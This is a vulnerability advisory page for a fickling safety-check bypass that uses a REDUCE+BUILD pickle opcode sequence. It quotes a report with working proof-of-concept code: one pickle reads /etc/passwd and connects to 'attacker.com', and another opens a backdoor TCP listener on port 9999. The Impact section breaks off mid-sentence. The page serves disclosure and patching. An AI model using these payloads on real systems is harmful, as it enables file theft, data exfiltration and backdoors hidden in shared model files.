GHSA-mhc9-48gj-9gp3 Fickling has safety check bypass via REDUCE+BUILD opcode sequence

Not scored Published 25 Feb 2026

Attackers can bypass fickling's safety checks by appending a BUILD opcode to malicious pickles, allowing dangerous code execution despite safety warnings.

Exploited in the wild: Not known
Login needed: Not needed
Attackable: Over the internet
Victim action needed: A user has to click or open something
Fix: Available

What is GHSA-mhc9-48gj-9gp3?

GHSA-mhc9-48gj-9gp3 is a vulnerability in fickling, published on 25 Feb 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

Official description

Assessment

It is believed that the analysis pass works as intended, REDUCE and BUILD are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).

Original report

Summary

All 5 of fickling's safety interfaces — is_likely_safe(), check_safety(), CLI --check-safety, always_check_safety(), and the check_safety() context manager — report LIKELY_SAFE / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (socketserver.TCPServer), process persistence (signal.signal), outbound data exfiltration (smtplib.SMTP), and file creation on disk (sqlite3.connect). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.

Details

The bypass exploits three weaknesses in fickling's static analysis pipeline:

likely_safe_imports over-inclusion (fickle.py:432-435): When fickling decompiles a pickle and encounters from smtplib import SMTP, it adds "SMTP" to the likely_safe_imports set because smtplib is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.
OvertlyBadEvals exemption (analysis.py:301-310): The main call-level safety checker skips any call where the function name is in likely_safe_imports. So SMTP('attacker.com') is never flagged.
__setstate__ exclusion (fickle.py:443-446): BUILD generates a __setstate__ call which is excluded from the non_setstate_calls list. This means BUILD's call is invisible to OvertlyBadEvals. Additionally, BUILD consumes the REDUCE result variable, which prevents the UnusedVariables checker from flagging the unused assignment (the only remaining detection mechanism).

Affected versions

All versions through 0.1.7 (latest as of 2026-02-18).

Affected APIs

fickling.is_likely_safe() - returns True for bypass payloads
fickling.analysis.check_safety() - returns AnalysisResults with severity = Severity.LIKELY_SAFE
fickling --check-safety CLI - exits with code 0
fickling.always_check_safety() + pickle.load() - no UnsafeFileError raised, malicious code executes
fickling.check_safety() context manager + pickle.load() - no UnsafeFileError raised, malicious code executes

PoC

A single pickle that reads /etc/passwd AND opens a network connection to an attacker's server, yet fickling reports it as LIKELY_SAFE:

import io, struct, tempfile, os

def sbu(s):
    &#34;&#34;&#34;SHORT_BINUNICODE opcode helper.&#34;&#34;&#34;
    b = s.encode()
    return b&#34;\x8c&#34; + struct.pack(&#34;&lt;B&#34;, len(b)) + b

def make_exfiltration_pickle():
    &#34;&#34;&#34;
    Single pickle that:
      1. Reads /etc/passwd via fileinput.input()
      2. Opens TCP connection to attacker via smtplib.SMTP()
    Both operations pass as LIKELY_SAFE.
    &#34;&#34;&#34;
    buf = io.BytesIO()
    buf.write(b&#34;\x80\x04\x95&#34;)  # PROTO 4 + FRAME
    payload = io.BytesIO()

    # --- Operation 1: Read /etc/passwd ---
    payload.write(sbu(&#34;fileinput&#34;) + sbu(&#34;input&#34;) + b&#34;\x93&#34;)  # STACK_GLOBAL
    payload.write(sbu(&#34;/etc/passwd&#34;) + b&#34;\x85&#34;)                # arg + TUPLE1
    payload.write(b&#34;R&#34;)                                         # REDUCE
    payload.write(b&#34;}&#34; + sbu(&#34;_x&#34;) + sbu(&#34;y&#34;) + b&#34;s&#34; + b&#34;b&#34;)  # BUILD
    payload.write(b&#34;0&#34;)                                         # POP (discard result)

    # --- Operation 2: Connect to attacker ---
    payload.write(sbu(&#34;smtplib&#34;) + sbu(&#34;SMTP&#34;) + b&#34;\x93&#34;)     # STACK_GLOBAL
    payload.write(sbu(&#34;attacker.com&#34;) + b&#34;\x85&#34;)               # arg + TUPLE1
    payload.write(b&#34;R&#34;)                                         # REDUCE
    payload.write(b&#34;}&#34; + sbu(&#34;_x&#34;) + sbu(&#34;y&#34;) + b&#34;s&#34; + b&#34;b&#34;)  # BUILD
    payload.write(b&#34;.&#34;)                                         # STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack(&#34;&lt;Q&#34;, len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

# Generate and test
data = make_exfiltration_pickle()
with open(&#34;/tmp/exfil.pkl&#34;, &#34;wb&#34;) as f:
    f.write(data)

import fickling
print(fickling.is_likely_safe(&#34;/tmp/exfil.pkl&#34;))
# Output: True  &lt;-- BYPASSED (file read + network connection in one pickle)

fickling decompiles this to:

from fileinput import input
_var0 = input(&#39;/etc/passwd&#39;)       # reads /etc/passwd
_var1 = _var0
_var1.__setstate__({&#39;_x&#39;: &#39;y&#39;})
from smtplib import SMTP
_var2 = SMTP(&#39;attacker.com&#39;)       # opens TCP connection to attacker
_var3 = _var2
_var3.__setstate__({&#39;_x&#39;: &#39;y&#39;})
result = _var3

Yet reports LIKELY_SAFE because every call is either in likely_safe_imports (skipped) or is __setstate__ (excluded).

CLI verification:

$ fickling --check-safety /tmp/exfil.pkl; echo &#34;EXIT: $?&#34;
EXIT: 0    # BYPASSED - file read + network access passes as safe

always_check_safety() verification:

import fickling, pickle

fickling.always_check_safety()

# This should raise UnsafeFileError for malicious pickles, but doesn&#39;t:
with open(&#34;/tmp/exfil.pkl&#34;, &#34;rb&#34;) as f:
    result = pickle.load(f)
# No exception raised — malicious code executed successfully

check_safety() context manager verification:

import fickling, pickle

with fickling.check_safety():
    with open(&#34;/tmp/exfil.pkl&#34;, &#34;rb&#34;) as f:
        result = pickle.load(f)
# No exception raised — malicious code executed successfully

Backdoor listener PoC (most impactful)

A pickle that opens a TCP listener on port 9999, binding to all interfaces:

import io, struct

def sbu(s):
    b = s.encode()
    return b&#34;\x8c&#34; + struct.pack(&#34;&lt;B&#34;, len(b)) + b

def make_backdoor_listener():
    buf = io.BytesIO()
    buf.write(b&#34;\x80\x04\x95&#34;)  # PROTO 4 + FRAME
    payload = io.BytesIO()

    # socketserver.TCPServer via STACK_GLOBAL
    payload.write(sbu(&#34;socketserver&#34;) + sbu(&#34;TCPServer&#34;) + b&#34;\x93&#34;)

    # Address tuple (&#39;0.0.0.0&#39;, 9999) - needs MARK+TUPLE for mixed types
    payload.write(b&#34;(&#34;)                                    # MARK
    payload.write(sbu(&#34;0.0.0.0&#34;))                          # host string
    payload.write(b&#34;J&#34; + struct.pack(&#34;&lt;i&#34;, 9999))          # BININT port
    payload.write(b&#34;t&#34;)                                    # TUPLE

    # Handler class via STACK_GLOBAL
    payload.write(sbu(&#34;socketserver&#34;) + sbu(&#34;BaseRequestHandler&#34;) + b&#34;\x93&#34;)

    payload.write(b&#34;\x86&#34;)  # TUPLE2 -&gt; (address, handler)
    payload.write(b&#34;R&#34;)     # REDUCE -&gt; TCPServer(address, handler)
    payload.write(b&#34;N&#34;)     # NONE
    payload.write(b&#34;b&#34;)     # BUILD(None) -&gt; no-op
    payload.write(b&#34;.&#34;)     # STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack(&#34;&lt;Q&#34;, len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

import fickling, pickle, socket
data = make_backdoor_listener()
with open(&#34;/tmp/backdoor.pkl&#34;, &#34;wb&#34;) as f:
    f.write(data)

print(fickling.is_likely_safe(&#34;/tmp/backdoor.pkl&#34;))
# Output: True  &lt;-- BYPASSED

server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces

s = socket.socket()
s.connect((&#34;127.0.0.1&#34;, 9999))
print(&#34;Connected to backdoor port!&#34;)  # succeeds
s.close()
server.server_close()

The TCPServer constructor calls server_bind() and server_activate() (which calls listen()), so the port is open and accepting connections immediately after pickle.loads() returns.

Impact

An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:

Backdoor network listener: socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls server_bind() and `server_activate(

Which versions are affected by GHSA-mhc9-48gj-9gp3?

2 open source packages ship an affected version, including fickling.

Package	Affected	Fixed in
`fickling` PyPI	All versions	`0.1.8`
`fickling` PyPI	All versions	`0.1.8`

How do I fix GHSA-mhc9-48gj-9gp3?

Upgrade fickling to 0.1.8 or later.

Is GHSA-mhc9-48gj-9gp3 being exploited?

There is no known exploitation of GHSA-mhc9-48gj-9gp3 in the wild and no public exploit code.